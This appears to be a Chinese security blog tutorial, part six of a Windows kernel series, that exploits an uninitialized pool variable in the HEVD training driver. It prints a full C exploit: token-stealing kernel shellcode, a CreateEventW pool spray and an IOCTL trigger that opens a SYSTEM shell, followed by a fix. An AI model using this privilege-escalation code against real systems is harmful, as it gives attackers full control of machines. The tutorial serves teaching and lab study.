windows内核之未初始化池变量(六)


0x00 前言:


windows内核系列:

  1. windows内核之栈溢出(一)
  2. windows内核之任意地址写入(二)
  3. windows内核之UAF(三)
  4. windows内核之Null指针解引用(四)
  5. windows内核之未初始化栈变量(五)

0x01 漏洞原理:


当我们设置的堆块指针未初始化为NULL时,那么这个变量会被设置为之前堆块上存在的数据,那么我们就存在使用“堆喷”将堆块数据全部设置为某个值,然后该参数就存在设置为我们想要的指定的shellcode地址的可能。

漏洞缺陷定位:


漏洞缺陷函数为:TriggerUninitializedMemoryPagedPool

下面是TriggerUninitializedMemoryPagedPool()调用流程:

image01.png

函数执行流程:

设置了一个变量UninitializedMemory,然后调用了ExAllocatePoolWithTag()申请一块池空间赋值到UninitializedMemory,其中该池空间在整个程序中都没有被初始化,传入参数UserBuffer赋值到另一个变量v2,然后判断变量v2是否为0xBAD0B0B0,如果为0xBAD0B0B0则将未初始化变量UninitializedMemory赋值到变量UninitializedMemoryPagedPool函数回调地址赋值到UninitializedMemory成员Callback中,不为0xBAD0B0B0则不给UninitializedMemory成员Callback进行赋值操作。然后判断UninitializedMemory是否为NULL,不为NULL则执行UninitializedMemory成员Callback指定的回调函数。
image02.png
如图,可以看到一旦从用户层传入数据不为0xBAD0B0B0就存在可能利用到未初始化池变量漏洞来跳转到我们的shellcode地址上。

溢出利用


利用EXP:(.c,win32,release生成项目文件)

#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

VOID ShellCode() {
    __asm {
        pushad; 保存各寄存器数据
                                    ; start of Token Stealing Stub

        xor eax, eax                ; eax设置为0
        mov eax, fs: [eax + 124h]    ; 获取 nt!_KPCR.PcrbData.CurrentThread
        mov eax, [eax + 050h]        ; 获取 nt!_KTHREAD.ApcState.Process
        mov ecx, eax                ; 将本进程EPROCESS地址复制到ecx
        mov edx, 4                    ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + 0b8h]        ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, 0b8h
            cmp[eax + 0b4h], edx    ; 获取 nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID        ; 循环检测是否是SYSTEM进程PID

            mov edx, [eax + 0f8h]    ; 获取System进程的Token
            mov[ecx + 0f8h], edx    ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
                                    ; End of Token Stealing Stub
            popad
            ret                        ; Return cleanly
    }
}

BOOL init()    //链接到HEVD.sys
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

HANDLE Event_OBJECT[0x1000];

VOID Trigger_shellcode()
{
    DWORD bReturn = 0;
    char buf[4] = { 0 };
    char lpName[0xf0] = { 0 };
    *(PDWORD32)(buf) = 0xBAD0B0B0 + 1;    //这里只是为了不等于0xBAD0B0B0

    memset(lpName, 0x41, 0xf0);    //这里配置的大小必须等于ExAllocatePoolWithTag中设置的大小0xF0

    printf("lpName is in 0x%p\n", lpName);
    for (int i = 0; i < 256; i++)
    {
        //**************构造池块**************
        *(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;        //根据源码获取到Callback成员在_UNINITIALIZED_MEMORY_POOL结构体+0x4上
        *(PDWORD)(lpName + 0xf0 - 4) = 0;
        *(PDWORD)(lpName + 0xf0 - 3) = 0;
        *(PDWORD)(lpName + 0xf0 - 2) = 0;
        *(PDWORD)(lpName + 0xf0 - 1) = i;
        Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);
        //**************构造池块**************
    }

    for (int i = 0; i < 256; i++)
    {
        CloseHandle(Event_OBJECT[i]);    //将创建的池块释放,释放的池块就为我们构造的shellcode地址
        i += 4;
    }

    DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    Trigger_shellcode();

    printf("[+]Start to Create cmd...\n");
    CreateCmd();
    system("pause");

    return 0;
}

一、链接到HEVD.sys

BOOL init()    //链接到HEVD.sys
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

二、获取函数TriggerUninitializedMemoryPagedPool()控制码

image03.png
反汇编IrpDeviceIoCtlHandler函数获取到控制码为0x222033
所以我们可以得出调用TriggerUninitializedMemoryPagedPool()的代码

DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);

buf指向我们传入数据的指针*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;,为了传入参数不等于0xBAD0B0B0
4表示传入参数的字节数

三、配置堆喷射(Heap Spray)利用

什么是Heap Sprary?

常见的Heap Spray是将堆块空间都填满滑板指令,然后将我们的shellcode指向地址指向一个固定地址(这个地址在大部分可能的情况下将被堆块所覆盖),如0x0c0c0c0c,然后我们就可以调用到0x0c0c0c0c,然后被填充的滑板指令(NOP)一路滑到我们的真实shellcode地址上。
而这种将堆块空间填充的手法我们通常称为Heap Spray
详细可以参考:Heap Spray原理浅析

我们先建立一个符合UninitializedMemory变量相同大小的池块
image04.png
如上可以看到池块大小为:0xF0
所以我们代码为:

memset(lpName, 0x41, 0xf0);    //这里配置的大小必须等于ExAllocatePoolWithTag中设置的pool size大小0xF0

然后我们需要将构造一个“充满指向我们shellcode地址的池块”的堆空间
由于申请池一开始调用的是Lookaside Lists,而Lookaside Lists表结构中描述最多能存在256个块,最小深度是4,每个4字节 ==0x1000
所以可以编写代码:

HANDLE Event_OBJECT[0x1000];

我们来看看Lookaside Lists的表结构:

typedef struct _GENERAL_LOOKASIDE {
    SLIST_HEADER ListHead;  //内存链表
    USHORT Depth;  //当前内存列表的最大深度
    USHORT MaximumDepth;  //整个look aside运行的最大深度
    ULONG TotalAllocates;   //总共分配了多少次内存
    union {
        ULONG AllocateMisses;  //分配失败的内存,通过Allocate分配
        ULONG AllocateHits;
    };

    ULONG TotalFrees;
    union {
        ULONG FreeMisses;
        ULONG FreeHits;
    };

    POOL_TYPE Type;
    ULONG Tag;
    ULONG Size;
    PALLOCATE_FUNCTION Allocate;   //分配函数
    PFREE_FUNCTION Free;  //释放函数sss
    LIST_ENTRY ListEntry;  //ExNPagedLookasideListHead链表
    ULONG LastTotalAllocates;
    union {
        ULONG LastAllocateMisses;
        ULONG LastAllocateHits;
    };

    ULONG Future[2];
} GENERAL_LOOKASIDE, *PGENERAL_LOOKASIDE;

typedef struct _NPAGED_LOOKASIDE_LIST {
    GENERAL_LOOKASIDE L;
    KSPIN_LOCK Lock;
} NPAGED_LOOKASIDE_LIST, *PNPAGED_LOOKASIDE_LIST;

其中header占用了0x8
根据源码分析,我们可以看到Callback成员处于_UNINITIALIZED_MEMORY_POOL结构体+0x4上,所以我们需要将shellcode地址设置到“池块+0x4”上

*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;

当然这个在实战中是Fuzzing出来的
image05.png
由上图我们还可以知道整个_UNINITIALIZED_MEMORY_POOL结构体的实际大小为:0x60,所以我们申请0xF0大小的池空间,但实际占用的只有0x60,所以我们实际可以将lpName设置为0xF0,因为占用了_UNINITIALIZED_MEMORY_POOL空间后还有很多剩余可以给Header

char lpName[0xf0] = { 0 };

在我们可以使用CreateEventA函数申请池空间,其中调用参数lpName分页池给设置成我们需要的数据
但由于lpName需要每个lpName都不相同,所以我们需要将其设置每个都不同

        *(PDWORD)(lpName + 0xf0 - 4) = 0;
        *(PDWORD)(lpName + 0xf0 - 3) = 0;
        *(PDWORD)(lpName + 0xf0 - 2) = 0;
        *(PDWORD)(lpName + 0xf0 - 1) = i;

然后我们就可以循环执行CreateEventA函数256次来将池块空间都设置为我们想要的shellcode地址块

所以完整构建池块的代码:
char lpName[0xf0] = { 0 };
HANDLE Event_OBJECT[0x1000];    //固定最多存在256个块
for (int i = 0; i < 256; i++)    //注意这里的256表示256个块
    {
        //**************构造池块**************
        *(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;        //根据源码获取到Callback成员在_UNINITIALIZED_MEMORY_POOL结构体+0x4上
        *(PDWORD)(lpName + 0xf0 - 4) = 0;
        *(PDWORD)(lpName + 0xf0 - 3) = 0;
        *(PDWORD)(lpName + 0xf0 - 2) = 0;
        *(PDWORD)(lpName + 0xf0 - 1) = i;
        Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);    //只有lpName一个参数有数据
        //**************构造池块**************
    }

然后我们要将所有池块释放进而再执行TriggerUninitializedMemoryPagedPool()中的ExAllocatePoolWithTag()函数来获取到我们已经释放的哪些指向shellcode的空闲池块
注意点:由于每个Lookaside Lists表最小深度是4,所以我们释放池块时是每隔4个块释放一次

for (int i = 0; i < 256; i++)
    {
        CloseHandle(Event_OBJECT[i]);    //将创建的池块释放释放的池块就为我们构造的shellcode地址
        i += 4;    //每隔4个块
    }

四、配置shellcode函数

shellcode将系统进程的Token拷贝到了我们的exp进程上

VOID ShellCode() {
    __asm {
        pushad                                        ; 保存各寄存器数据
                                                            ; start of Token Stealing Stub

        xor eax, eax                            ; eax设置为0
        mov eax, fs: [eax + 124h]    ; 获取 nt!_KPCR.PcrbData.CurrentThread
        mov eax, [eax + 050h]            ; 获取 nt!_KTHREAD.ApcState.Process
        mov ecx, eax                            ; 将本进程EPROCESS地址复制到ecx
        mov edx, 4                                ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + 0b8h]            ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, 0b8h
            cmp[eax + 0b4h], edx        ; 获取 nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID            ; 循环检测是否是SYSTEM进程PID

            mov edx, [eax + 0f8h]        ; 获取System进程的Token
            mov[ecx + 0f8h], edx        ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
                                                            ; End of Token Stealing Stub
            popad
            ret                                            ; Return cleanly
    }
}

五、配置使用本进程Token启动CMD

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

0x02 利用成功:

image06.png

0x03 修复方案:

在判断v2不等于0xBAD0B0B0是要执行下面语句对UninitializedMemory释放且设置为NULL

ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);
UninitializedMemory = NULL;
参考链接:

评论

misift_Zero

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

密码学 文章:13 篇
二进制安全 文章:77 篇
后门 文章:39 篇
IoT安全 文章:29 篇
APT 文章:6 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录